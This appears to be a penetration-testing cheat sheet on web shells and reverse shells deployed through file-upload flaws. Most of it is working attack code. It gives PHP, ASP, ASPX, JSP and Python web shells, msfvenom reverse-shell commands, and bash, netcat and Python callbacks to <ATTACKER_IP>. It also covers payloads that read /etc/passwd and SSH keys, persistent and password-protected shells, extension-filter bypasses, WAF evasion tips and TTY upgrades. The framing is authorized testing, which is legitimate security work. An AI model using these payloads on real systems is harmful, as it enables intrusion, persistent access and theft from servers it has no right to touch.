Shells
Once you can upload an executable file and the server runs it, you need a payload. Web shells are easier to deploy; reverse shells are easier to use. Pick based on egress filtering.
# PHP web shell (request-based, one-liner)<?php system($_GET["cmd"]); ?>
# PHP reverse shell (pentestmonkey one-liner equivalent)msfvenom -p php/reverse_php LHOST=<ATTACKER_IP> LPORT=<LPORT> -f raw > reverse.php
# ASP/.NET web shell<% eval request("cmd") %>
# JSP web shell<%@ page import="java.util.*,java.io.*"%><% if(request.getParameter("cmd")!=null){Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader b=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=b.readLine())!=null){out.println(l);}}%>
# Triggercurl 'https://target/uploads/shell.phar?cmd=id'Success indicator: command output (e.g. uid=33(www-data)) in the response.
Web shell vs. reverse shell
Section titled “Web shell vs. reverse shell”Two fundamentally different shapes:
| Property | Web shell | Reverse shell |
|---|---|---|
| How it runs | HTTP request triggers each command | Persistent connection, interactive |
| Setup | Just upload | Upload + listener on attacker side |
| Network requirement | Inbound only (you reach the server) | Outbound from target - needs egress |
| Detection footprint | Each command = one HTTP request in logs | One connection, then traffic over it |
| Interactive features | Pseudo (each request independent) | Yes (TTY upgrade possible) |
| Lateral movement | Limited (no persistent session) | Easier (full shell environment) |
Default to a web shell for the proof. They work even with strict egress filtering, they don’t need a listener, they’re trivial to test. Once the shell works, upgrade to a reverse shell if the engagement warrants it.
PHP web shells
Section titled “PHP web shells”Minimal one-liner
Section titled “Minimal one-liner”The shortest viable PHP web shell:
<?php system($_GET["cmd"]); ?>Saved as shell.phar (or whatever extension your validation lets through), uploaded, triggered:
https://target/uploads/shell.phar?cmd=idOutput:
uid=33(www-data) gid=33(www-data) groups=33(www-data)Other PHP command-execution functions
Section titled “Other PHP command-execution functions”Different PHP functions work in different configurations. When system is disabled by disable_functions in php.ini, try alternatives:
<?php system($_GET["cmd"]); ?> // most common<?php passthru($_GET["cmd"]); ?> // similar to system, preserves binary output<?php echo shell_exec($_GET["cmd"]); ?> // returns output as a string<?php echo exec($_GET["cmd"]); ?> // returns only the last line<?php $f=popen($_GET["cmd"],"r"); while(!feof($f)){echo fgets($f);} ?><?php $h=proc_open($_GET["cmd"],[1=>['pipe','w']],$p); echo stream_get_contents($p[1]); ?><?php $output = []; exec($_GET["cmd"], $output); foreach($output as $l) echo "$l\n"; ?>The disable_functions PHP setting commonly disables system, exec, shell_exec, passthru - but rarely all of them. Try each.
Reading files without command execution
Section titled “Reading files without command execution”When all command-execution functions are disabled:
<?php echo file_get_contents($_GET["f"]); ?> // read any file<?php readfile($_GET["f"]); ?> // same, binary-safe<?php echo file_get_contents("/etc/passwd"); ?> // hardcoded pathLess useful than command execution but still valuable - pulls config files, source code, SSH keys.
Persistent shells (write a follow-up shell)
Section titled “Persistent shells (write a follow-up shell)”After one upload + request, write a more permanent shell to a known location:
<?php file_put_contents("/var/www/html/x.php", '<?php system($_GET["c"]); ?>'); ?>Triggers once; now /x.php?c=... is available without re-triggering the original upload path.
phpbash - interactive terminal-style shell
Section titled “phpbash - interactive terminal-style shell”phpbash provides a terminal-like UI in the browser. Single PHP file, just upload and visit:
# Downloadwget https://raw.githubusercontent.com/Arrexel/phpbash/master/phpbash.php
# Upload to the application# Visit https://target/uploads/phpbash.phpThe page presents a command prompt. Better UX than building ?cmd= URLs by hand.
SecLists web shell collection
Section titled “SecLists web shell collection”A catalog of web shells covering every common language:
ls /opt/useful/SecLists/Web-Shells/Has PHP, ASP, JSP, Python, and several other variants. When the minimal one-liners don’t work, pre-built shells with feature sets (file upload, SQL access, port scanning) are worth trying.
PHP reverse shells
Section titled “PHP reverse shells”msfvenom one-liner
Section titled “msfvenom one-liner”Quickest way to a working reverse shell:
msfvenom -p php/reverse_php LHOST=<ATTACKER_IP> LPORT=<LPORT> -f raw > reverse.phpOutput is a complete PHP script that connects back to your listener. Upload, start a netcat listener, trigger:
# Terminal 1 - listenernc -lvnp <LPORT>
# Terminal 2 - trigger the uploadcurl https://target/uploads/reverse.phpCatch:
listening on [any] <LPORT> ...connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 35232$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)Pentestmonkey PHP reverse shell
Section titled “Pentestmonkey PHP reverse shell”Pentestmonkey’s php-reverse-shell.php is the long-running reliable script. Manual setup:
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
# Edit the file:# $ip = '<ATTACKER_IP>'; // CHANGE THIS# $port = <LPORT>; // CHANGE THISUpload, listener, trigger - same flow as the msfvenom version.
Bare reverse-shell payload (inline)
Section titled “Bare reverse-shell payload (inline)”When the shell tool isn’t available, the bash-based reverse shell:
<?php exec("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/<LPORT> 0>&1'"); ?>Or with nc -e if present on the target:
<?php exec("nc <ATTACKER_IP> <LPORT> -e /bin/bash"); ?>Or via Python (when bash unavailable, e.g., minimal containers):
<?php exec('python3 -c \'import socket,subprocess,os;s=socket.socket();s.connect(("<ATTACKER_IP>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\''); ?>ASP / ASP.NET shells
Section titled “ASP / ASP.NET shells”Classic ASP web shell
Section titled “Classic ASP web shell”<% eval request("cmd") %>Trigger:
https://target/uploads/shell.asp?cmd=Response.Write(CreateObject("WScript.Shell").Exec("cmd /c whoami").StdOut.ReadAll)The classic ASP eval accepts VBScript expressions - the trigger URL passes a VBScript snippet that invokes cmd.exe.
ASP.NET (.aspx) web shell
Section titled “ASP.NET (.aspx) web shell”<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><script runat="server">public void Page_Load(object sender, EventArgs e) { string cmd = Request.QueryString["cmd"]; if (cmd == null) return; Process p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + cmd; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.Start(); Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");}</script>Trigger:
https://target/uploads/shell.aspx?cmd=whoamiASP.NET reverse shell via msfvenom
Section titled “ASP.NET reverse shell via msfvenom”msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=<LPORT> -f aspx > reverse.aspxSame trigger pattern. Listener on attacker side catches the connection.
JSP / Java shells
Section titled “JSP / Java shells”Minimal JSP web shell
Section titled “Minimal JSP web shell”<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader b = new BufferedReader(new InputStreamReader(p.getInputStream())); String l; while ((l = b.readLine()) != null) { out.println(l); } }%>Save as shell.jsp, upload, trigger:
https://target/uploads/shell.jsp?cmd=idThe output isn’t HTML-escaped - view source if it looks malformed.
JSP via WAR file
Section titled “JSP via WAR file”When the application is a Tomcat / Jetty installation that accepts WAR uploads (manager interface, or direct upload features), a WAR is the cleanest path:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=<LPORT> -f war > reverse.warDeploy via Tomcat manager (/manager/html) or whatever interface accepts WAR files.
Node.js shells
Section titled “Node.js shells”Less common but worth knowing:
// In a vulnerable Node.js / Express application that runs uploaded .js filesrequire('child_process').exec(process.argv.slice(2).join(' '), (err, stdout) => console.log(stdout));Most Node.js apps don’t execute uploaded .js files - the upload-to-RCE chain is usually via prototype pollution or some other path, not direct upload-and-execute.
Python shells
Section titled “Python shells”When the application runs Python files (.py) uploaded to a web-served directory:
#!/usr/bin/env python3import os, sysfrom urllib.parse import parse_qs
query = os.environ.get('QUERY_STRING', '')params = parse_qs(query)cmd = params.get('cmd', [''])[0]
print("Content-Type: text/html\n")if cmd: print(os.popen(cmd).read())Python web execution typically requires CGI configuration on the server - rare in modern setups. WSGI / Flask apps don’t execute uploaded .py files automatically.
Choosing a payload extension
Section titled “Choosing a payload extension”The shell only runs if the server treats the file as a script. Match the extension to the framework - and if the simple extensions are filtered, try alternates:
PHP alternates (when .php is blocked)
Section titled “PHP alternates (when .php is blocked)”shell.php // primaryshell.phtml // very commonly enabled, less commonly blockedshell.phar // PHP archive - frequently allowed and executableshell.php5 // PHP 5 specificallyshell.php7shell.phtshell.phps // PHP source - usually only allowed in specific configsshell.pHp // case manipulation - works on case-insensitive systems.phar is the operator’s favorite - frequently allowed by upload filters because it’s “unusual,” but Apache’s default PHP handler executes it as PHP.
ASP / ASP.NET alternates
Section titled “ASP / ASP.NET alternates”shell.asp // classic ASPshell.aspx // ASP.NETshell.ashx // HTTP handler - sometimes executableshell.config // some ASP.NET configurations execute .configshell.asmx // web serviceJSP alternates
Section titled “JSP alternates”shell.jspshell.jspxshell.jspfshell.jhtmlGeneric
Section titled “Generic”shell.cgi // CGI script (if CGI is enabled)shell.pl // Perl CGIshell.php.<anything-allowed> // double extension - see Extension whitelistCustom shells for specific scenarios
Section titled “Custom shells for specific scenarios”Output redirection (when response is mangled)
Section titled “Output redirection (when response is mangled)”When the web app wraps your output in HTML that breaks the display, redirect to a temp file you can read separately:
<?php system($_GET["cmd"] . " > /tmp/out 2>&1"); echo file_get_contents("/tmp/out"); ?>Or use the <pre> tag to preserve formatting:
<?php echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; ?>Authentication on the shell (avoid accidental discovery)
Section titled “Authentication on the shell (avoid accidental discovery)”When you don’t want a casual visitor to find your shell:
<?phpif ($_GET["k"] !== "secret123") { http_response_code(404); exit; }system($_GET["cmd"]);?>Requires ?k=secret123&cmd=id to use. Reduces the risk of someone else finding and using your shell during a multi-tester engagement.
File upload feature in the shell
Section titled “File upload feature in the shell”When you need to drop additional files (toolkit, payload, etc.) without re-using the original upload path:
<?phpif (isset($_FILES['f'])) { move_uploaded_file($_FILES['f']['tmp_name'], "/tmp/" . $_FILES['f']['name']); echo "uploaded: /tmp/" . $_FILES['f']['name'];} elseif (isset($_GET['cmd'])) { system($_GET['cmd']);}?>Now curl -F "[email protected]" https://target/uploads/shell.phar deploys files; ?cmd= runs commands.
TTY upgrade for reverse shells
Section titled “TTY upgrade for reverse shells”A raw nc reverse shell has no terminal - no tab completion, no arrow keys, Ctrl-C kills the connection. Upgrade:
# In the reverse shell - spawn a real TTYpython3 -c 'import pty; pty.spawn("/bin/bash")'
# On your local side, suspend the netcatCtrl-Z
# Set raw modestty raw -echo; fg
# Back in the shell, set the terminalexport TERM=xtermstty rows 50 columns 200 # match your local terminalNow you have a proper shell - tab completion, history, signal handling.
Choosing web shell vs. reverse shell
Section titled “Choosing web shell vs. reverse shell”Default decision tree:
1. Is outbound network from target blocked? ├─ Yes → web shell (no outbound needed) └─ Unknown → start with web shell, upgrade later
2. Need persistent / interactive session? ├─ No (just proof of RCE) → web shell └─ Yes (further exploitation) → reverse shell
3. Will defenders notice? ├─ Web shell - visible in HTTP logs per command └─ Reverse shell - single suspicious outbound connectionFor most pentests: web shell for confirmation, reverse shell for the actual work. Drop both during the same engagement window.
Detection-only payloads
Section titled “Detection-only payloads”When you only want to confirm RCE without committing to a full shell:
# Bare existence + execution check<?php echo "OK"; ?> // confirms file is reachable + PHP executes
# RCE confirmation<?php echo md5("HTBPROBE"); ?> // unique known-output proof// Should return: ed1bf67e1f8a7b46df3306dbc02e72d6
# Filesystem read confirmation<?php readfile("/etc/hostname"); ?> // proves file read + RCEA clean confirmation chain: upload a hello-world payload, see the output, then escalate to a full shell only when scope confirms.
- The “right” extension is target-specific. Test small (one-liner echo payload) before committing to a full reverse shell - saves time when the extension you picked doesn’t actually execute.
- disable_functions has limits. Even when
system,exec,shell_exec,passthruare all disabled, other functions likepopen,proc_open,mail(yes,mailhas injectable arguments), andLD_PRELOADtricks remain. The PHPdisable_functions-bypass space is its own subfield. - WAFs sometimes catch web shells in transit. A
<?php system($_GET["cmd"]); ?>POST body is a high-signal pattern. If uploads succeed but the visit fails with a 403, the WAF is sometimes catching the response containing PHP code. Workarounds: encode the shell, use a less obvious payload, deploy via LFI chain instead. - The shell file itself is forensic evidence. When the engagement ends, request that the customer delete the uploaded shells - operators sometimes forget, and the file persists indefinitely. Track every uploaded path in your engagement notes.